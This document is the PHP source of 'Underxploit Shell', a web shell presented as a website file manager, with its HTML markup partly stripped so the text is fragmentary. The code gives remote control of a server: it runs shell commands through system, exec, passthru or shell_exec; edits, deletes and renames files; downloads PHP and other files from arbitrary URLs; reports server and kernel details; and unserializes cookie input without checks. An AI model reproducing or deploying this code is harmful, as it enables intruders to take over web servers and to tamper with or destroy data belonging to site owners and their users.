Underxploit Shell [1st]
|
');
if($_COEG['command'] == 'logout') {
r($_SERVER['PHP_SELF']);
setcookie(md5($_SERVER['HTTP_HOST']), '', time() - 3600);
}
elseif($_COEG['command'] == 'view') {
echo '
';
echo '";
$source = htmlspecialchars(@file_get_contents($_COEG['file']));
if(empty($source)) {
error('Source Not Found !!');
echo x9;
} else {
echo "
";
}
}
// --- edit file --- //
elseif($_COEG['command'] == 'edit') {
if($_COEG['save']) {
$save = file_put_contents($_COEG['file'], $_COEG['src']);
if($save) {
success('Source Saved !!');
} else {
error('Permission Denied !!');
}
}
echo '| SOURCE VIEWER |
".$source."| EDIT FILE |
| RENAME FILE |
"; echo "
| CHMOD FILE |
"; echo "
| CHANGE PASSWORD |
| RENAME DIRECTORY |
"); echo("
| DESCRIPTION |
Underxploit Shell adalah sebuah script filemanager website yang dapat memudahkan anda mengatur isi dari website yang anda kelola, dan pastinya saya rancang sangat responsive dan mudah di akses via apa saja.
Shell ini adalah recoded dari shell sebelumnya yaitu Mobile Shell V.05, untuk versi ini tidak ada tools hacking, namun hanya mengoptimalkan fitur filemanagernya saja seperti edit, delete, copy dll.
Berbeda dengan Mobile Shell V.05, pada shell ini ada beberapa perubahan tampilan pada background, font, panel icon, cover, navigasi, alert, dan form login.
| CREDITS |
| + Name | : Underxploit Shell |
| + Version | : 0.1 (Beta) |
| + Author | : Wildan Izzudin |
| : underxploit@gmail.com | |
| : http://fb.me/WILDAN.OFFICIAL | |
| + Blog | : http://underxploit.blogspot.co.id |
If there is any suggestion or feedback please contact me through the contact above.
— Thank You —
| MULTIPLE UPLOAD |
+ Upload From Device :
'; echo '
';
if($_COEG["submit"]){
$uname = $_COEG["uname"];
$url = trim($_COEG["url"]);
if($url){
$file = fopen($url,"rb");
if($file) {
$valid_exts = array("css","php","html","htm","txt","zip","rar","png","jpg","jpeg","gif","mp3","mp4","3gp");
$ext = end(explode(".",strtolower(basename($url))));
if(in_array($ext,$valid_exts)){
if(empty($uname)) {
$filename = basename($url);
} else {
$filename = $uname;
}
$newfile = fopen($dir.'/'.$filename, "wb");
if($newfile){
while(!feof($file)) {
fwrite($newfile,fread($file,MS7Z), MS7Z); }
success('File Uploaded !!');
} else {
error('Upload Failed !!');
} } else { error('Extension Not Supported !!');
} } else { error('Link Invalid !!'); } } else { error('Link Empty !!');
} }
echo ''; echo '
+ Upload From Internet :
'; echo '
';
}
// --- system information --- //
elseif ($_COEG['command'] == 'system') {
function exe($ms_x) {
if(function_exists('system')) {
@ob_start();
@system($ms_x);
$ms_z = @ob_get_contents();
@ob_end_clean();
return $ms_z;
} elseif(function_exists('exec')) {
@exec($ms_x,$values);
$ms_z = "";
foreach($values as $value) {
$ms_z .= $result;
} return $ms_z;
} elseif(function_exists('passthru')) {
@ob_start();
@passthru($ms_x);
$ms_z = @ob_get_contents();
@ob_end_clean();
return $ms_z;
} elseif(function_exists('shell_exec')) {
$ms_z = @shell_exec($ms_x);
return $ms_z;
}
}
function disk($dz) {
if($dz >= 1073741824)
return sprintf('%1.2f',$dz / 1073741824 ).' GB';
elseif($dz >= 1048576)
return sprintf('%1.2f',$dz / 1048576 ) .' MB';
elseif($dz >= 1024)
return sprintf('%1.2f',$dz / 1024 ) .' KB';
else
return $dz .' B';
}
function fuck($b_ms, $c_ms, $d_ms){
if(strpos($b_ms, $c_ms) === FALSE) return FALSE;
if(strpos($b_ms, $d_ms) === FALSE) return FALSE;
$a_ms = strpos($b_ms, $c_ms) + strlen($c_ms);
$e_ms = strpos($b_ms, $d_ms, $a_ms);
$f_ms = substr($b_ms, $a_ms, $e_ms - $a_ms);
return $f_ms; }
if(get_magic_quotes_gpc()) {
function m_ms($n_ms) {
return is_array($n_ms) ? array_map('m_ms', $n_ms) : stripslashes($n_ms); }
$_COEG = m_ms($_COEG); }
$safemode = (@ini_get(strtolower("safe_mode")) == 'on') ? "ON" : "OFF";
$disablefunc = @ini_get("disable_functions");
$mysql = (function_exists('mysql_connect')) ? "ON" : "OFF";
$curl = (function_exists('curl_version')) ? "ON" : "OFF";
$wget = (exe('wget --help')) ? "ON" : "OFF";
$perl = (exe('perl --help')) ? "ON" : "OFF";
$python = (exe('python --help')) ? "
ON" : "OFF";
$ds_men = (!empty($disablefunc)) ? "".$disablefunc."" : "NONE";
if(!function_exists('posix_getegid')) {
$c_us = @get_current_user();
$c_id = @getmyuid();
$g_c = @getmygid();
$gr_p = "?";
} else {
$c_id = @posix_getpwuid(posix_geteuid());
$g_c = @posix_getgrgid(posix_getegid());
$c_us = $c_id['name'];
$c_id = $c_id['uid'];
$gr_p = $g_c['name'];
$g_c = $g_c['gid'];
}
echo ''; echo '
| SYSTEM INFORMATION |
| + Server | » | ".$_SERVER['SERVER_SOFTWARE']." |
| + Username | » | ".$c_us." [".$c_id."] |
| + Group | » | ".$gr_p." [".$g_c."] |
| + Server IP | » | ".gethostbyname($_SERVER['HTTP_HOST'])." |
| + Your IP | » | ".$_SERVER['REMOTE_ADDR']." |
| + PHP Version | » | ".@phpversion()." |
| + Disk Space | » | [".disk(disk_free_space("/"))."] / [".disk(disk_total_space("/"))."] |
| + Safe Mode | » | $safemode |
| + MySQL | » | $mysql |
| + Perl | » | $perl |
| + Python | » | $python |
| + WGET | » | $wget |
| + CURL | » | $curl |
| + Magic Quotes | » | ON |
| + Magic Quotes | » | OFF |
| KERNEL |
".php_uname()."
";
echo '| DISABLE FUNCTION |
".$ds_men."
";
}
// --- mass action --- //
else {
$hc = @getcwd();
if(isset($_COEG['location']))
@chdir($_COEG['location']);
$cwd = @getcwd();
if($os == 'win') {
$hc = str_replace("\\", "/", $hc);
$cwd = str_replace("\\", "/", $cwd);
}
if($cwd[strlen($cwd)-1] != '/')
$cwd .= '/';
function hs($d) {
if(function_exists("scandir")) {
return scandir($d);
} else {
$dh = opendir($d);
while (false !== ($filename = readdir($dh)))
$data[] = $filename;
return $data;
}
}
if(!empty($_COOKIE['msv5']))
$_COOKIE['msv5'] = @unserialize($_COOKIE['msv5']);
if(!empty($_COEG['hcx'])) {
switch($_COEG['hcx']) {
case 'mkdir':
if(!@mkdir($_COEG['p2']))
echo "Can't create new dir";
break;
case 'delete':
function deleteDir($path) {
$path = (substr($path,-1)=='/') ? $path:$path.'/';
$dh = opendir($path);
while ( ($▟ = readdir($dh) ) !== false) {
$▟ = $path.$▟;
if ( (basename($▟) == "..") || (basename($▟) == ".") )
continue;
$type = filetype($▟);
if ($type == "dir")
deleteDir($▟);
else
@unlink($▟);
}
closedir($dh);
@rmdir($path);
}
if(is_array(@$_COEG['msv5']))
foreach($_COEG['msv5'] as $f) {
if($f == '..')
continue;
$f = urldecode($f);
if(is_dir($f))
deleteDir($f);
else
@unlink($f);
}
break;
case 'paste':
if($_COOKIE['act'] == 'copy') {
function copy_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['msv5'] as $f)
copy_paste($_COOKIE['location'],$f, $GLOBALS['cwd']);
} elseif($_COOKIE['act'] == 'move') {
function move_paste($c,$s,$d){
if(is_dir($c.$s)){
mkdir($d.$s);
$h = @opendir($c.$s);
while (($f = @readdir($h)) !== false)
if (($f != ".") and ($f != ".."))
copy_paste($c.$s.'/',$f, $d.$s.'/');
} elseif(@is_file($c.$s))
@copy($c.$s, $d.$s);
}
foreach($_COOKIE['msv5'] as $f)
@rename($_COOKIE['location'].$f, $GLOBALS['cwd'].$f);
} elseif($_COOKIE['act'] == 'zip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
if ($zip->open($_COEG['p2'], 1)) {
chdir($_COOKIE['location']);
foreach($_COOKIE['msv5'] as $f) {
if($f == '..')
continue;
if(@is_file($_COOKIE['location'].$f))
$zip->addFile($_COOKIE['location'].$f, $f);
elseif(@is_dir($_COOKIE['location'].$f)) {
$iterator = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($f.'/', FilesystemIterator::SKIP_DOTS));
foreach ($iterator as $key=>$value) {
$zip->addFile(realpath($key), $key);
}
}
}
chdir($GLOBALS['cwd']);
$zip->close();
}
}
} elseif($_COOKIE['act'] == 'unzip') {
if(class_exists('ZipArchive')) {
$zip = new ZipArchive();
foreach($_COOKIE['msv5'] as $f) {
if($zip->open($_COOKIE['location'].$f)) {
$zip->extractTo($GLOBALS['cwd']);
$zip->close();
}
}
}
} elseif($_COOKIE['act'] == 'tar') {
chdir($_COOKIE['location']);
$_COOKIE['msv5'] = array_map('escapeshellarg', $_COOKIE['msv5']);
ex('tar cfzv ' . escapeshellarg($_COEG['p2']) . ' ' . implode(' ', $_COOKIE['msv5']));
chdir($GLOBALS['cwd']);
}
unset($_COOKIE['msv5']);
setcookie('msv5', '', time() - 3600);
break;
default:
if(!empty($_COEG['hcx'])) {
vb('act', $_COEG['hcx']);
vb('msv5', serialize(@$_COEG['msv5']));
vb('location', @$_COEG['location']);
}
break;
}
}
echo('');
echo('